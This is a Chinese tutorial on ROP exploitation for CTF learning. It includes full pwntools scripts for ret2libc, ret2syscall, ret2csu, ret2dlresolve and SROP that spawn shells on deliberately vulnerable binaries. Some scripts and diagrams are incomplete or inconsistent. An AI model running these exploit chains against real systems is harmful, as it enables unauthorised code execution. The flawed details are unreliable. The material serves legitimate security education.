目录


1. 引言:从栈溢出到ROP的攻防演进

在现代二进制安全攻防历史上,ROP(Return-Oriented Programming,面向返回的编程)无疑是最具里程碑意义的技术之一。它的出现并非一蹴而就,而是攻防双方在长达二十余年的博弈中逐步演化的产物。

时间线概览:

1988  Morris蠕虫     ──> 栈溢出首次进入公众视野
1996  Aleph One      ──> 《Smashing The Stack For Fun and Profit》经典论文
1996  Solar Designer ──> 提出非执行栈 (NX stack) 思想
2000  ret2libc       ──> 绕过不可执行栈的第一种系统性技术
2003  PaX            ──> Linux引入完整的DEP/NX实现
2007  Hovav Shacham  ──> 正式提出ROP概念(《Return-Oriented Programming》)
2010  SROP           ──> Erik Bosman提出Sigreturn-Oriented Programming
2014  ret2dlresolve  ──> 在无libc泄露场景下的通用利用技术成熟
2020  CET/Shadow Stack ──> Intel硬件级控制流完整性落地

整条演进链路的核心逻辑是:每一次防御机制的升级,都会催生一种新的绕过技术。本文将从底层原理出发,完整剖析ROP技术族系。


2. 栈溢出基础回顾

2.1 函数调用与栈帧结构

理解ROP必须先理解栈。在x86_64架构下,函数调用时栈帧的布局如下(地址从高到低增长):

高地址  ┌─────────────────────┐
        │   参数7,8,9...(寄存器) │  rdi, rsi, rdx, rcx, r8, r9
        │   上一栈帧的局部变量    │
        ├─────────────────────┤
        │   saved RBP          │  ← 当前函数 prologue: push rbp
        ├─────────────────────┤
        │   局部变量 buf[64]    │  ← 当前函数的局部缓冲区
        │   ...                │
        ├─────────────────────┤
        │   saved RIP (返回地址)│  ← call指令自动压入
        ├─────────────────────┤
        │   caller的局部变量    │
低地址  └─────────────────────┘

当调用 call func 时,CPU执行两个操作:

  1. 将下一条指令的地址(返回地址)压入栈中
  2. 跳转到 func 的入口

函数返回时执行 ret 指令:从栈顶弹出返回地址到RIP。

2.2 经典栈溢出

当程序使用不安全的函数(如 strcpy、gets、sprintf)向栈上缓冲区写入数据且未做边界检查时,攻击者可以写入超出缓冲区长度的数据,覆盖到 saved RBP 甚至 saved RIP:

// vulnerable.c
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buf[64];
    strcpy(buf, input);   // 无长度检查,可溢出
    printf("%s\n", buf);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

溢出时的栈布局变化:

正常状态:                    溢出后:
┌──────────────┐            ┌──────────────┐
│  buf[64]     │            │  'A'*64 (buf)│
├──────────────┤            ├──────────────┤
│  saved RBP   │            │  'BBBB'(RBP) │
├──────────────┤            ├──────────────┤
│  saved RIP   │            │  0x41414141  │ ← 控制RIP!
└──────────────┘            └──────────────┘

在NX/DEP出现之前,攻击者只需将shellcode放在buf中,并将返回地址覆写为buf的地址,即可执行任意代码(即 "stack smashing" 的经典手法)。


3. DEP/NX防护机制的诞生与绕过催生

3.1 DEP/NX原理

DEP(Data Execution Prevention,Windows称谓)/ NX(No-eXecute,Linux称谓)通过CPU的NX位(Page Table Entry中的第63位)将内存页标记为"不可执行"。当RIP指向一个标记为NX的页时,CPU触发段错误。

权限矩阵:
┌────────────┬──────┬──────┬──────┐
│  内存区域   │ 读 R │ 写 W │ 执行 X│
├────────────┼──────┼──────┼──────┤
│  栈 stack   │  ✓   │  ✓   │  ✗   │  ← NX使栈不可执行
│  堆 heap    │  ✓   │  ✓   │  ✗   │  ← 堆也不可执行
│  .data      │  ✓   │  ✓   │  ✗   │
│  .text/code │  ✓   │  ✗   │  ✓   │  ← 只有代码段可执行
│  .rodata    │  ✓   │  ✗   │  ✗   │
└────────────┴──────┴──────┴──────┘

DEP直接宣告了"在栈上放shellcode然后跳过去执行"这一经典攻击手法的死刑。

3.2 绕过的关键洞察

DEP只禁止了"数据页执行",但并不禁止"从代码页执行"。程序自身、libc等共享库的 .text 段始终是可执行的。攻击者的思路因此从"注入代码执行"转向了"复用已有代码执行"。

这就是ROP的思想雏形。攻击者不再需要写入新代码,而是通过拼接已存在于内存中的代码片段来完成任务。


4. ROP核心原理

4.1 什么是Gadget

ROP的基本构建单元是 gadget(小工具)。一个gadget是若干条以 ret 结尾的指令片段。例如在libc的 .text 段中,可能存在这样的字节序列:

地址 0x7ffff7a1b3c2:  pop rdi    ; 0x5f
地址 0x7ffff7a1b3c3:  ret        ; 0xc3

这两条指令构成一个gadget:pop rdi; ret。它的作用是从栈顶弹出一个值到rdi寄存器,然后返回。攻击者可以通过控制栈内容来控制rdi的值。

4.2 ret指令作为链节点

ROP链的核心在于 ret 指令。ret 等价于 pop rip,它从栈顶取出下一个地址作为新的执行目标。因此,只要攻击者能控制栈,就能通过一系列 ret 指令在gadget之间跳转,形成一个"以栈为驱动的状态机":

栈布局 (ROP链):
┌──────────────────────┐
│  gadget1 地址         │  ← ret跳到这里执行 gadget1
├──────────────────────┤
│  gadget1 需要的数据   │  ← gadget1中pop取走
├──────────────────────┤
│  gadget2 地址         │  ← gadget1的ret跳到这里
├──────────────────────┤
│  gadget2 需要的数据   │
├──────────────────────┤
│  gadget3 地址         │
├──────────────────────┤
│  ...                  │
└──────────────────────┘

执行流:
RIP ──> gadget1 ──(ret)──> gadget2 ──(ret)──> gadget3 ──(ret)──> ...
         ↑                        ↑                       ↑
       栈驱动                   栈驱动                  栈驱动

4.3 Turing完备性

Hovav Shacham在2007年的论文中证明了一个惊人的结论:在x86架构上,仅用libc中的gadget,就能构造出图灵完备的ROP链。这意味着攻击者可以用gadget实现任意计算,等同于执行任意代码。这是ROP超越ret2libc、成为通用技术的理论基础。

4.4 x86_64调用约定

编写ROP链必须掌握x86_64的函数调用约定(System V AMD64 ABI):

参数顺序 寄存器
第1个参数 rdi
第2个参数 rsi
第3个参数 rdx
第4个参数 rcx
第5个参数 r8
第6个参数 r9
返回值 rax

调用 system("/bin/sh") 时,需要将 "/bin/sh" 字符串地址放入rdi,然后跳转到 system 的地址。


5. ret2libc技术详解

5.1 原理

ret2libc(Return to libc)是ROP的先驱技术。既然不能执行栈上的shellcode,那就直接调用libc中现成的函数。最经典的利用是调用 system("/bin/sh") 获取shell。

5.2 利用步骤

  1. 泄露libc基址(通过puts/printf等输出函数打印got表地址)
  2. 计算libc中 system 和 "/bin/sh" 字符串的地址
  3. 构造ROP链:pop rdi; ret → "/bin/sh"地址 → system地址
  4. 触发栈溢出,执行ROP链

5.3 pwntools完整示例(x86_64)

#!/usr/bin/env python3
# ret2libc.py — x86_64 ret2libc 完整利用
from pwn import *

# ====== 配置 ======
context.update(arch='amd64', os='linux', log_level='info')
elf = ELF('./vuln')                # 本地有符号ELF
# io = process('./vuln')
io = remote('127.0.0.1', 9999)

# ====== 第一步:泄露libc地址 ======
# 假设漏洞函数: void vuln(){ char buf[64]; read(0, buf, 0x200); }
# 存在puts的plt,以及pop_rdi gadget

pop_rdi = 0x4011d3                 # ROPgadget --binary vuln | grep "pop rdi"
ret     = 0x4011d4                 # 用于16字节栈对齐 (movaps对齐要求)

# 利用puts打印puts的GOT地址,从而泄露libc
payload1 = b'A' * 72               # 64字节buf + 8字节saved RBP
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])   # rdi = &GOT[puts]
payload1 += p64(elf.plt['puts'])   # 调用puts打印
payload1 += p64(elf.sym['vuln'])   # 返回vuln再次触发溢出(二次利用)

io.sendline(payload1)

# 接收泄露的puts真实地址
io.recvuntil(b'\n')                # 跳过buf中的'A'
leaked = io.recvline().strip()
puts_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f'leaked puts @ {hex(puts_addr)}')

# ====== 第二步:计算libc基址与关键符号 ======
libc = ELF('./libc-2.31.so')
libc.address = puts_addr - libc.sym['puts']
log.success(f'libc base @ {hex(libc.address)}')

system_addr = libc.sym['system']
binsh_addr   = next(libc.search(b'/bin/sh\x00'))
log.info(f'system @ {hex(system_addr)}')
log.info(f'/bin/sh @ {hex(binsh_addr)}')

# ====== 第三步:构造getshell的ROP链 ======
payload2 = b'A' * 72
payload2 += p64(ret)               # 栈对齐,避免system内movaps崩溃
payload2 += p64(pop_rdi)
payload2 += p64(binsh_addr)        # rdi = "/bin/sh"
payload2 += p64(system_addr)       # system("/bin/sh")

io.sendline(payload2)
io.interactive()

5.4 栈布局图解

第二次溢出时的栈布局:

┌──────────────────────────┐  高地址
│  'A' * 64  (buf填充)      │
├──────────────────────────┤
│  'B' * 8    (saved RBP)   │
├──────────────────────────┤  ← 溢出起点
│  ret gadget (0x4011d4)    │  对齐用,单纯执行一个ret
├──────────────────────────┤
│  pop_rdi    (0x4011d3)    │  执行: pop rdi
├──────────────────────────┤
│  binsh_addr               │  rdi ← "/bin/sh"
├──────────────────────────┤
│  system_addr              │  跳转执行 system(rdi)
└──────────────────────────┘  低地址

6. ret2syscall技术详解

6.1 原理

当libc地址未知或无法泄露时,可以直接通过gadget构造系统调用。Linux x86_64下,执行 execve("/bin/sh", NULL, NULL) 需要设置:

寄存器 值 含义
rax 0x3b sys_execve 系统调用号
rdi "/bin/sh"地址 第1参数: filename
rsi 0 第2参数: argv (NULL)
rdx 0 第3参数: envp (NULL)
然后执行 syscall 触发系统调用

6.2 pwntools示例

#!/usr/bin/env python3
# ret2syscall.py — 无libc依赖,纯syscall getshell
from pwn import *

context.update(arch='amd64', os='linux')
io = process('./vuln_static')    # 静态链接二进制,gadget丰富
elf = ELF('./vuln_static')

# 静态链接二进制中gadget非常多
pop_rax = 0x40100a               # pop rax; ret
pop_rdi = 0x40101b               # pop rdi; ret
pop_rsi = 0x40101c               # pop rsi; ret
pop_rdx = 0x40101d               # pop rdx; ret
syscall_ret = 0x401020           # syscall; ret

# "/bin/sh" 字符串需要放入可写区域,利用 .bss 或 read写入
bss = elf.bss() + 0x100

# 第一步: 用read把"/bin/sh"写到bss
# read(0, bss, 8)  => rax=0, rdi=0, rsi=bss, rdx=8
payload  = b'A' * 72
payload += p64(pop_rax) + p64(0)         # rax = 0 (sys_read)
payload += p64(pop_rdi) + p64(0)         # rdi = 0 (stdin)
payload += p64(pop_rsi) + p64(bss)       # rsi = bss
payload += p64(pop_rdx) + p64(8)         # rdx = 8
payload += p64(syscall_ret)              # read(0, bss, 8)

# 第二步: execve(bss, 0, 0)
payload += p64(pop_rax) + p64(0x3b)      # rax = 0x3b (sys_execve)
payload += p64(pop_rdi) + p64(bss)       # rdi = "/bin/sh"
payload += p64(pop_rsi) + p64(0)         # rsi = 0
payload += p64(pop_rdx) + p64(0)         # rdx = 0
payload += p64(syscall_ret)              # execve("/bin/sh", 0, 0)

io.sendline(payload)
io.send(b'/bin/sh\x00')                  # 写入"/bin/sh"到bss
io.interactive()

ret2syscall的优势在于不依赖libc,劣势是需要静态链接二进制才能找到充足的gadget(动态链接二进制通常缺少 pop rdx 等gadget,此时可结合ret2csu解决)。


7. ret2csu技术详解

7.1 背景

在x86_64动态链接程序中,通常能找到 pop rdi; ret 和 pop rsi; ret,但很难找到 pop rdx; ret。然而,__libc_csu_init 函数(每个C程序初始化时都会调用)中包含一段可以控制rdx的通用gadget,这就是ret2csu。

7.2 __libc_csu_init中的gadget

反汇编 __libc_csu_init 的关键部分:

__libc_csu_init:
    ...
    ; ===== Gadget 1 (尾部) =====
    0x4011da: pop rbx           ; rbx ← [rsp]
    0x4011db: pop rbp           ; rbp ← [rsp+8]
    0x4011dc: pop r12           ; r12 ← [rsp+16]
    0x4011de: pop r13           ; r13 ← [rsp+24]
    0x4011e0: pop r14           ; r14 ← [rsp+32]
    0x4011e2: pop r15           ; r15 ← [rsp+40]
    0x4011e4: ret

    ; ===== Gadget 2 (中部, call逻辑) =====
    0x4011c0: mov rdx, r14      ; rdx ← r14   ← 可控rdx!
    0x4011c3: mov rsi, r13      ; rsi ← r13   ← 可控rsi
    0x4011c6: mov edi, r12d     ; edi ← r12   ← 可控rdi(低32位)
    0x4011c9: call [r15+rbx*8]  ; 调用 r15+rbx*8 指向的函数
    0x4011cd: add rbx, 1        ; rbx++
    0x4011d1: cmp rbp, rbx      ; 比较
    0x4011d4: jne 0x4011c0      ; 不等则循环
    0x4011d6: ...               ; 继续到Gadget1

7.3 利用流程

通过Gadget1设置 rbx=0, rbp=1, r12=rdi, r13=rsi, r14=rdx, r15=&函数指针,然后跳到Gadget2,即可控制 rdi, rsi, rdx 并调用 r15 指向的函数。常见做法是让 r15 指向 _fini_array 中的 _dl_runtime_resolve 或直接指向一个 ret gadget地址位置。

#!/usr/bin/env python3
# ret2csu.py — 利用__libc_csu_init控制rdx
from pwn import *
context.update(arch='amd64', os='linux')

io = process('./vuln')
elf = ELF('./vuln')

csu_gadget1 = 0x4011da   # pop rbx,rbp,r12,r13,r14,r15; ret
csu_gadget2 = 0x4011c0   # mov rdx,r14; mov rsi,r13; mov edi,r12d; call [r15+rbx*8]

# 目标: read(0, bss, 0x100) 写入"/bin/sh",再配合其他gadget execve
# 但ret2csu的call是通过指针调用的,r15需指向一个含目标函数地址的内存
# 这里让 r15 = &_init (其内容是 _init 的地址),配合rbx=0

def csu_call(func_ptr_addr, rdi, rsi, rdx):
    """构造ret2csu payload"""
    payload  = p64(csu_gadget1)
    payload += p64(0)              # rbx = 0
    payload += p64(1)              # rbp = 1 (使cmp后jne不跳转)
    payload += p64(rdi)            # r12 -> edi
    payload += p64(rsi)            # r13 -> rsi
    payload += p64(rdx)            # r14 -> rdx
    payload += p64(func_ptr_addr)  # r15 -> call [r15+0]
    payload += p64(0) * 7          # gadget2之后会pop 6个+add,需填充
    return payload

# 利用fini_array中存放的函数指针地址作为func_ptr_addr
fini_array = 0x4031b0
read_ptr = fini_array  # 假设此处存放某个可被call的地址

payload = b'A' * 72
payload += csu_call(read_ptr, 0, elf.bss(), 0x100)  # read(0, bss, 0x100)
# 后续可继续拼接getshell链...
io.send(payload)
io.send(b'/bin/sh\x00' + b'\x00' * 0xf8)
io.interactive()

ret2csu是x86_64动态链接程序在没有 pop rdx gadget时的标准解决方案,几乎是CTF PWN选手的必备技能。


8. ret2dlresolve技术详解

8.1 原理

ret2dlresolve是最为精巧的ROP技术之一。它不依赖libc地址泄露,而是通过伪造动态链接器(ld-linux)的重定位表项,让动态链接器在解析符号时加载攻击者指定的任意函数。

在ELF的延迟绑定(Lazy Binding)机制中,第一次调用某个libc函数时,会跳到PLT中的stub代码,调用 _dl_runtime_resolve 完成符号解析。ret2dlresolve的核心是伪造 .rel.plt(重定位表)和 .dynsym(动态符号表)中的条目,使 _dl_runtime_resolve 解析出 system 函数。

8.2 伪造结构

攻击者需要伪造以下结构(32位下更简单,64位需处理索引和st_other):

┌─────────────────────────────────────┐
│  .rel.plt 伪造条目 (Elf64_Rela)     │
│   r_offset = GOT[目标函数]           │
│   r_info   = 符号索引 << 32 | R_X86_64_JUMP_SLOT
├─────────────────────────────────────┤
│  .dynsym 伪造条目 (Elf64_Sym)       │
│   st_name = 偏移到伪造的字符串表      │
│   st_other = 0 (确保可见性)          │
├─────────────────────────────────────┤
│  .dynstr 伪造字符串                  │
│   "system\x00"                       │
└─────────────────────────────────────┘

8.3 pwntools Ret2dlresolvePayload

pwntools内置了 Ret2dlresolvePayload 工具,大幅简化了构造过程:

#!/usr/bin/env python3
# ret2dlresolve.py — 无泄露getshell
from pwn import *

context.update(arch='amd64', os='linux')
io = process('./vuln_no_leak')
elf = ELF('./vuln_no_leak')

# pwntools提供Ret2dlresolvePayload自动构造伪造结构
# 需要一个可写的bss区域存放伪造的数据
bss = elf.bss()
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])

# 构造: 先把伪造结构读入bss,再调用PLT0触发dl-resolve
rop = ROP(elf)
rop.read(0, dlresolve.data_addr)      # read(0, bss, len(payload))
rop.ret2dlresolve(dlresolve)           # 触发 _dl_runtime_resolve 解析 system

payload = b'A' * 72
payload += rop.chain()
io.send(payload)

# 发送伪造的dlresolve数据
io.send(dlresolve.payload)
io.interactive()

ret2dlresolve的威力在于:即使完全没有信息泄露、甚至不知道libc版本,也能获取shell。这在"无输出"型题目中是杀手锏。


9. SROP技术详解

9.1 原理

SROP(Sigreturn-Oriented Programming)利用的是Linux的信号处理机制。当内核向进程发送信号时,会保存当前所有寄存器状态到栈上(一个 sigcontext 结构),信号处理函数返回时通过 sigreturn 系统调用恢复这些寄存器。

攻击者通过伪造栈上的 sigcontext 结构,然后触发 sigreturn,即可一次性设置所有寄存器的值:

伪造的sigcontext结构 (x86_64 ucontext):
┌──────────────────────────┐
│  uc_flags                │
│  &uc_link                │
│  uc_stack.ss_sp          │
│  uc_stack.ss_flags       │
│  uc_stack.ss_size        │
│  r8, r9, r10, r11, r12   │  ← 全部可控
│  r13, r14, r15, rdi      │
│  rsi, rbp, rbx, rdx      │
│  rax, rcx, rsp           │  ← rsp也可控,实现链式
│  rip                     │  ← 关键: 控制下一条执行地址
│  eflags                  │
│  cs, gs, fs, ss          │
│  err, trapno, oldmask     │
│  cr2 (struct)            │
└──────────────────────────┘

9.2 利用流程

  1. 找到一个 syscall; ret gadget 和一个能设置 rax=0xf(sigreturn调用号)的gadget
  2. 在栈上布置伪造的 sigcontext
  3. 触发 sigreturn,内核"恢复"攻击者伪造的寄存器状态
  4. rip被设置为 syscall gadget,rax被设置为 0x3b(execve),rdi指向 "/bin/sh"

9.3 pwntools SigreturnFrame

#!/usr/bin/env python3
# srop.py — Sigreturn-Oriented Programming
from pwn import *

context.update(arch='amd64', os='linux')
io = process('./vuln_srop')
elf = ELF('./vuln_srop')

# 关键gadget
syscall_ret = 0x401020           # syscall; ret
# 假设能触发 mov rax, 0xf; syscall (read返回15字节时rax=15=0xf)
# 或程序中有 sigreturn 的调用路径

# 构造SROP frame
frame = SigreturnFrame()
frame.rax = 0x3b                 # sys_execve
frame.rdi = elf.bss() + 0x200    # "/bin/sh" 地址
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret          # 执行 execve
frame.rsp = elf.bss() + 0x300    # 后续栈

# 第一步: read写入"/bin/sh"到bss + 触发sigreturn
# 利用read返回值(写入字节数)设置rax=15
payload  = b'A' * 72
payload += p64(syscall_ret)      # read(0, bss, len) — rax=返回值
# ... 构造read调用设置rax=15后跳sigreturn
payload += bytes(frame)          # 伪造的sigcontext

io.send(payload)
io.interactive()

SROP的优势是一次sigreturn可设置全部寄存器,无需大量gadget。pwntools的 SigreturnFrame 极大地简化了构造。现代内核对SROP的缓解是在sigreturn时校验 sigcontext 的合法性,但在多数场景下SROP依然有效。


10. Gadget查找工具实战

10.1 ROPgadget

ROPgadget是最常用的gadget查找工具,基于纯Python实现:

# 查找所有gadget
$ ROPgadget --binary ./vuln

# 过滤特定gadget
$ ROPgadget --binary ./vuln | grep "pop rdi"

# 查找特定指令序列
$ ROPgadget --binary ./vuln --string "/bin/sh"

# 生成完整的ROP链(实验性功能)
$ ROPgadget --binary ./vuln --ropchain

# 深度搜索(递归分析,更全面但更慢)
$ ROPgadget --binary ./vuln --depth 10

输出示例:

0x00000000004011d3 : pop rdi ; ret
0x00000000004011d1 : pop rsi ; pop r15 ; ret
0x000000000040101a : ret

10.2 ropper

ropper是另一个强大的gadget查找工具,支持更多架构和高级搜索语法:

# 基本查找
$ ropper --file ./vuln

# 搜索特定gadget(支持语义搜索)
$ ropper --file ./vuln --search "pop rdi"

# 搜索多个寄存器
$ ropper --file ./vuln --search "pop rdi; ret"

# 搜索字符串
$ ropper --file ./vuln --string "/bin/sh"

# 交互模式
$ ropper --file ./vuln --interactive
(ropper)> search pop rdi

10.3 pwntools内置ROP

pwntools的 ROP 类可以在脚本中直接查找和构造链:

from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)

# 自动查找gadget
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
log.info(f'pop rdi; ret @ {hex(pop_rdi)}')

# 链式构造
rop.call('puts', [elf.got['puts']])
rop.call('vuln')
print(rop.dump())          # 打印ROP链
payload = rop.chain()      # 生成bytes

11. 完整CTF PWN题目实战复现

下面以一道典型的CTF PWN题目为例,完整演示从分析到利用的全过程。

11.1 题目分析

// ctf_pwn.c — gcc -no-pie -fno-stack-protector ctf_pwn.c -o ctf_pwn
#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    puts("Welcome to ROP challenge!");
    read(0, buf, 0x200);   // 溢出点: 读256字节到64字节缓冲区
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    vuln();
    return 0;
}

保护检查:

$ checksec ctf_pwn
[*] '/home/ctf/ctf_pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found        ← 无栈保护
    NX:       NX enabled             ← 栈不可执行,需ROP
    PIE:      No PIE (0x400000)      ← 地址固定

11.2 利用策略

由于开启了NX、无canary、无PIE,采用ret2libc两阶段利用:

  1. 泄露libc地址
  2. getshell

11.3 完整exp

#!/usr/bin/env python3
# exp_ctf.py
from pwn import *

context.update(arch='amd64', os='linux', log_level='debug')

elf = ELF('./ctf_pwn')
# io = process('./ctf_pwn')
io = remote('ctf.example.com', 9999)

# ---- 信息收集 ----
# ROPgadget --binary ctf_pwn | grep "pop rdi"
pop_rdi = 0x4011d3
ret     = 0x40101a

# ---- Stage 1: 泄露 puts 的真实地址 ----
payload1  = b'A' * 72                # 64 buf + 8 rbp
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.plt['puts'])
payload1 += p64(elf.sym['vuln'])     # 回到vuln,准备第二次溢出

io.sendlineafter(b'challenge!\n', payload1)

leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts real addr: {hex(leaked_puts)}')

# ---- Stage 2: 计算libc地址 ----
libc = ELF('./libc6_2.31-0ubuntu9_amd64.so')
libc.address = leaked_puts - libc.sym['puts']
log.success(f'libc base: {hex(libc.address)}')

system   = libc.sym['system']
bin_sh   = next(libc.search(b'/bin/sh\x00'))

# ---- Stage 3: getshell ----
payload2  = b'A' * 72
payload2 += p64(ret)                 # 16字节栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)

io.sendline(payload2)
io.interactive()

11.4 栈布局变化全过程

Stage 1 栈布局(泄露):

vuln返回时栈状态:
┌────────────────────────────┐
│ 'A'*64  (buf)              │
├────────────────────────────┤
│ 'B'*8   (saved rbp)        │
├────────────────────────────┤  ← 溢出开始
│ pop_rdi (0x4011d3)         │ ret到此 → pop rdi
├────────────────────────────┤
│ GOT[puts]                  │ rdi ← &GOT[puts]
├────────────────────────────┤
│ PLT[puts] (0x401030)       │ ret到此 → puts(rdi) 输出地址
├────────────────────────────┤
│ vuln    (0x401156)         │ ret到此 → 回到vuln准备Stage2
└────────────────────────────┘

Stage 2 栈布局(getshell):

┌────────────────────────────┐
│ 'A'*64  (buf)              │
├────────────────────────────┤
│ 'B'*8   (saved rbp)        │
├────────────────────────────┤  ← 溢出开始
│ ret      (0x40101a)        │ 对齐: 单纯ret,使栈16字节对齐
├────────────────────────────┤
│ pop_rdi  (0x4011d3)        │ ret到此 → pop rdi
├────────────────────────────┤
│ bin_sh_addr                │ rdi ← "/bin/sh"
├────────────────────────────┤
│ system_addr                │ ret到此 → system("/bin/sh") → shell!
└────────────────────────────┘

11.5 栈对齐的坑

x86_64的System V ABI要求函数调用时栈16字节对齐。system 内部使用了 movaps 指令(要求16字节对齐访问),若栈未对齐会触发 SIGSEGV。解决方案是额外插入一个 ret gadget消耗8字节,使栈重新对齐。这是CTF中极为常见的坑点。


12. 现代防御机制:CET与CFI

12.1 CET (Control-flow Enforcement Technology)

Intel CET是硬件级别的控制流防护,从Tiger Lake(第11代)CPU开始引入,包含两个子技术:

1. Shadow Stack(影子栈)

CPU维护一个专用的影子栈,与数据栈并行。每次 call 时,返回地址同时压入数据栈和影子栈;ret 时,CPU比对数据栈和影子栈的返回地址是否一致,不一致则触发异常(#CP)。

普通栈:                  影子栈 (Shadow Stack):
┌──────────────┐        ┌──────────────┐
│  data        │        │  ret addr A  │ ← call时同时压入
│  ...         │        │  ret addr B  │
│  ret addr B  │        │  ret addr C  │
└──────────────┘        └──────────────┘
         ↑                       ↑
     ret时取出B           ret时取出B比对
     若被ROP篡改           两者不一致 → #CP异常!

ROP通过覆写数据栈上的返回地址来劫持控制流,而影子栈由硬件保护不可被普通写操作修改,因此ROP篡改的返回地址会在 ret 时被检测出来。这从根本原理上瓦解了基于 ret 的ROP链。

2. IBT (Indirect Branch Tracking)

对间接跳转(jmp rax、call rax)目标进行校验,要求目标指令必须是 endbr64(End Branch 64)。若间接跳转目标不是 endbr64,触发异常。这阻断了跳转到gadget中间的攻击。

12.2 CFI (Control Flow Integrity)

CFI是软件层面的控制流完整性方案,核心思想是在每个间接跳转/调用前,校验目标是否在预先生成的合法目标集合中。

CFI方案 实现层级 特点
Clang CFI 编译器 编译时插桩,基于类型签名校验
Microsoft XFG 操作系统 扩展CFG,加入类型哈希校验
kCFI (Linux内核) 内核 内核态CFI,校验间接调用目标
Intel CET 硬件 硬件级Shadow Stack + IBT

12.3 绕过思路

CET和CFI大幅提升了ROP的难度,但并非绝对安全。研究界已提出多种绕过方向:

  • 数据导向攻击:不劫持控制流,而是篡改数据(如覆写函数指针指向的数据、修改全局变量),将控制流保持在合法目标内。
  • 影子栈溢出:某些实现中影子栈有限深度,理论上可溢出影子栈(极难实践)。
  • 合法gadget滥用:IBT只要求目标有 endbr64,若能找到以 endbr64 开头的合法函数作为gadget,仍可构造链。
  • JOP/COP:转向面向跳转(Jump-Oriented)或面向调用(Call-Oriented)的编程,绕过ret校验。

13. 总结

ROP技术的演进史是攻防博弈的缩影:

防御机制 绕过技术 核心原理
无防护 shellcode注入 栈可执行,直接注入代码
DEP/NX ret2libc 复用libc已有函数
ASLR 信息泄露+ret2libc 先泄露地址再构造
无libc泄露 ret2syscall / ret2dlresolve 不依赖libc地址
缺rdx gadget ret2csu 利用__libc_csu_init
少量gadget SROP sigreturn一次性设全部寄存器
CET Shadow Stack 数据导向攻击/合法函数滥用 避开ret校验

ROP的精髓在于"不注入代码,而是编排已有代码"。从ret2libc到SROP,每一种技术都是对"如何用更少的约束实现更完整的控制"这一命题的回答。理解ROP不仅是掌握一种攻击技术,更是理解现代二进制安全防御体系设计逻辑的钥匙。CET与CFI的普及标志着控制流劫持攻击进入新阶段,但攻防的博弈远未终结。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。